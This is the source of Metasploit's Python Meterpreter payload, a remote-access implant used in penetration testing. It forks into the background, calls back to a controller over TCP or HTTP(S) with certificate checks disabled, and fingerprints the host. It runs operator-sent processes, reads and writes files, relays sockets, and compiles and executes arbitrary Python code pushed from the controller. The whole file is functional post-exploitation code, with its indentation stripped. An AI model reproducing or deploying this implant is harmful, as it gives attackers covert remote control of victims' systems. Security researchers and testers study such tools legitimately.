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metasploit-framework
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metasploit-framework/data/meterpreter/meterpreter.py

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#!/usr/bin/python
import code
import os
import platform
import random
import select
import socket
import struct
import subprocess
import sys
import threading
import time
import traceback
try:
import ctypes
except ImportError:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
# this MUST be imported for urllib to work on OSX
try:
import SystemConfiguration as osxsc
osxsc.SCNetworkInterfaceCopyAll()
has_osxsc = True
except ImportError:
has_osxsc = False
try:
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
if sys.version_info[0] < 3:
urllib = __import__('urllib2', fromlist=urllib_imports)
else:
urllib = __import__('urllib.request', fromlist=urllib_imports)
except ImportError:
has_urllib = False
else:
has_urllib = True
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
str = lambda x: __builtins__['str'](x, 'UTF-8')
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, 'UTF-8')
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
#
# Constants
#
# these values may be patched, DO NOT CHANGE THEM
DEBUGGING = False
HTTP_COMMUNICATION_TIMEOUT = 300
HTTP_CONNECTION_URL = None
HTTP_EXPIRATION_TIMEOUT = 604800
HTTP_PROXY = None
HTTP_USER_AGENT = None
PAYLOAD_UUID = ""
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_PLAIN_RESPONSE = 11
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
ERROR_FAILURE_PYTHON = 2
ERROR_FAILURE_WINDOWS = 3
CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM = 1
CHANNEL_CLASS_DATAGRAM = 2
CHANNEL_CLASS_POOL = 3
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_QWORD = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV base starting points
#
TLV_RESERVED = 0
TLV_EXTENSIONS = 20000
TLV_USER = 40000
TLV_TEMP = 60000
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
def export(symbol):
EXPORTED_SYMBOLS[symbol.__name__] = symbol
return symbol
def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in range(32))
@export
def crc16(data):
poly = 0x1021
reg = 0x0000
if is_str(data):
data = list(map(ord, data))
elif is_bytes(data):
data = list(data)
data.append(0)
data.append(0)
for byte in data:
mask = 0x80
while mask > 0:
reg <<= 1
if byte & mask:
reg += 1
mask >>= 1
if reg > 0xffff:
reg &= 0xffff
reg ^= poly
return reg
@export
def error_result(exception=None):
if not exception:
_, exception, _ = sys.exc_info()
exception_crc = crc16(exception.__class__.__name__)
if exception_crc == 0x4cb2: # WindowsError
return error_result_windows(exception.errno)
else:
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
return result
@export
def error_result_windows(error_number=None):
if not has_windll:
return ERROR_FAILURE
if error_number == None:
error_number = ctypes.windll.kernel32.GetLastError()
if error_number > 0xffff:
return ERROR_FAILURE
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
return result
@export
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
val = struct.unpack('>Q', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
raise StopIteration()
@export
def packet_get_tlv(pkt, tlv_type):
try:
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
except IndexError:
return {}
return tlv
@export
def tlv_pack(*args):
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
else:
tlv = args[0]
data = ""
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
#@export
class MeterpreterFile(object):
def __init__(self, file_obj):
self.file_obj = file_obj
def __getattr__(self, name):
return getattr(self.file_obj, name)
export(MeterpreterFile)
#@export
class MeterpreterSocket(object):
def __init__(self, sock):
self.sock = sock
def __getattr__(self, name):
return getattr(self.sock, name)
export(MeterpreterSocket)
#@export
class MeterpreterSocketClient(MeterpreterSocket):
pass
export(MeterpreterSocketClient)
#@export
class MeterpreterSocketServer(MeterpreterSocket):
pass
export(MeterpreterSocketServer)
class STDProcessBuffer(threading.Thread):
def __init__(self, std, is_alive):
threading.Thread.__init__(self)
self.std = std
self.is_alive = is_alive
self.data = bytes()
self.data_lock = threading.RLock()
def run(self):
for byte in iter(lambda: self.std.read(1), bytes()):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
def is_read_ready(self):
return len(self.data) != 0
def peek(self, l = None):
data = bytes()
self.data_lock.acquire()
if l == None:
data = self.data
else:
data = self.data[0:l]
self.data_lock.release()
return data
def read(self, l = None):
self.data_lock.acquire()
data = self.peek(l)
self.data = self.data[len(data):]
self.data_lock.release()
return data
#@export
class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs)
self.echo_protection = False
def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start()
def write(self, channel_data):
self.stdin.write(channel_data)
self.stdin.flush()
if self.echo_protection:
end_time = time.time() + 0.5
out_data = bytes()
while (time.time() < end_time) and (out_data != channel_data):
if self.stdout_reader.is_read_ready():
out_data = self.stdout_reader.peek(len(channel_data))
if out_data == channel_data:
self.stdout_reader.read(len(channel_data))
export(STDProcess)
class PythonMeterpreter(object):
def __init__(self, socket=None):
self.socket = socket
self.driver = None
self.running = False
self.communications_active = True
self.communications_last = 0
if self.socket:
self.driver = 'tcp'
elif HTTP_CONNECTION_URL:
self.driver = 'http'
self.last_registered_extension = None
self.extension_functions = {}
self.channels = {}
self.interact_channels = []
self.processes = {}
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
if self.driver:
if hasattr(self, 'driver_init_' + self.driver):
getattr(self, 'driver_init_' + self.driver)()
self.running = True
def debug_print(self, msg):
if DEBUGGING:
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)
self._http_last_seen = time.time()
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
def register_extension(self, extension_name):
self.last_registered_extension = extension_name
return self.last_registered_extension
def register_function(self, func):
self.extension_functions[func.__name__] = func
return func
def register_function_windll(self, func):
if has_windll:
self.register_function(func)
return func
def add_channel(self, channel):
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
idx = 0
while idx in self.channels:
idx += 1
self.channels[idx] = channel
return idx
def add_process(self, process):
idx = 0
while idx in self.processes:
idx += 1
self.processes[idx] = process
return idx
def get_packet(self):
packet = getattr(self, 'get_packet_' + self.driver)()
self.communications_last = time.time()
if packet:
self.communications_active = True
return packet
def send_packet(self, packet):
getattr(self, 'send_packet_' + self.driver)(packet)
self.communications_last = time.time()
self.communications_active = True
def get_packet_http(self):
packet = None
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
try:
url_h = urllib.urlopen(request)
packet = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
if packet:
packet = packet[8:]
else:
packet = None
return packet
def send_packet_http(self, packet):
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
try:
url_h = urllib.urlopen(request)
response = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
def get_packet_tcp(self):
packet = None
if len(select.select([self.socket], [], [], 0.5)[0]):
packet = self.socket.recv(8)
if len(packet) != 8:
self.running = False
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(pkt_length - len(packet))
return packet
def send_packet_tcp(self, packet):
self.socket.send(packet)
def run(self):
while self.running:
request = None
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
self.communications_active = False
if should_get_packet:
request = self.get_packet()
if request:
response = self.create_response(request)
self.send_packet(response)
else:
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = bytes()
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient):
while len(select.select([channel.fileno()], [], [], 0)[0]):
try:
d = channel.recv(1)
except socket.error:
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
data += d
elif isinstance(channel, MeterpreterSocketServer):
if len(select.select([channel.fileno()], [], [], 0)[0]):
(client_sock, client_addr) = channel.accept()
server_addr = channel.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def _core_uuid(self, request, response):
response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID)
return ERROR_SUCCESS, response
def _core_machine_id(self, request, response):
def get_hdd_label():
for _, _, files in os.walk('/dev/disk/by-id/'):
for f in files:
for p in ['ata-', 'mb-']:
if f[:len(p)] == p:
return f[len(p):]
return ""
serial = ''
machine_name = platform.uname()[1]
if has_windll:
from ctypes import wintypes
k32 = ctypes.windll.kernel32
sys_dir = ctypes.create_unicode_buffer(260)
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
return ERROR_FAILURE_WINDOWS
vol_buf = ctypes.create_unicode_buffer(260)
fs_buf = ctypes.create_unicode_buffer(260)
serial_num = wintypes.DWORD(0)
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
None, fs_buf, ctypes.sizeof(fs_buf)):
return ERROR_FAILURE_WINDOWS
serial_num = serial_num.value
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
else:
serial = get_hdd_label()
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
return ERROR_SUCCESS, response
def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
self.last_registered_extension = None
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
extension_name = self.last_registered_extension
if extension_name:
check_extension = lambda x: x.startswith(extension_name)
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
for method in lib_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
def _core_shutdown(self, request, response):
response += tlv_pack(TLV_TYPE_BOOL, True)
self.running = False
return ERROR_SUCCESS, response
def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_open_' + channel_type['value']
if handler not in self.extension_functions:
return error_result(NotImplementedError), response
handler = self.extension_functions[handler]
return handler(request, response)
def _core_channel_close(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
if isinstance(channel, subprocess.Popen):
channel.kill()
elif isinstance(channel, MeterpreterFile):
channel.close()
elif isinstance(channel, MeterpreterSocket):
channel.close()
else:
return ERROR_FAILURE, response
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_eof(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
result = False
if isinstance(channel, MeterpreterFile):
result = channel.tell() >= os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response
def _core_channel_interact(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
if toggle:
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
else:
self.interact_channels.append(channel_id)
elif channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_read(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
data = ''
if isinstance(channel, STDProcess):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(channel, MeterpreterFile):
data = channel.read(length)
elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length)
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
return ERROR_SUCCESS, response
def _core_channel_write(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
l = len(channel_data)
if isinstance(channel, subprocess.Popen):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
channel.write(channel_data)
elif isinstance(channel, MeterpreterFile):
channel.write(channel_data)
elif isinstance(channel, MeterpreterSocket):
try:
l = channel.send(channel_data)
except socket.error:
channel.close()
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_LENGTH, l)
return ERROR_SUCCESS, response
def create_response(self, request):
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
resp += tlv_pack(method_tlv)
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv)
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
self.debug_print('[*] running method ' + handler_name)
result, resp = handler(request, resp)
except Exception:
self.debug_print('[-] method ' + handler_name + ' resulted in an error')
if DEBUGGING:
traceback.print_exc(file=sys.stderr)
result = error_result()
else:
self.debug_print('[-] method ' + handler_name + ' was requested but does not exist')
result = error_result(NotImplementedError)
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
try:
os.setsid()
except OSError:
pass
if HTTP_CONNECTION_URL and has_urllib:
met = PythonMeterpreter()
else:
met = PythonMeterpreter(s)
met.run()
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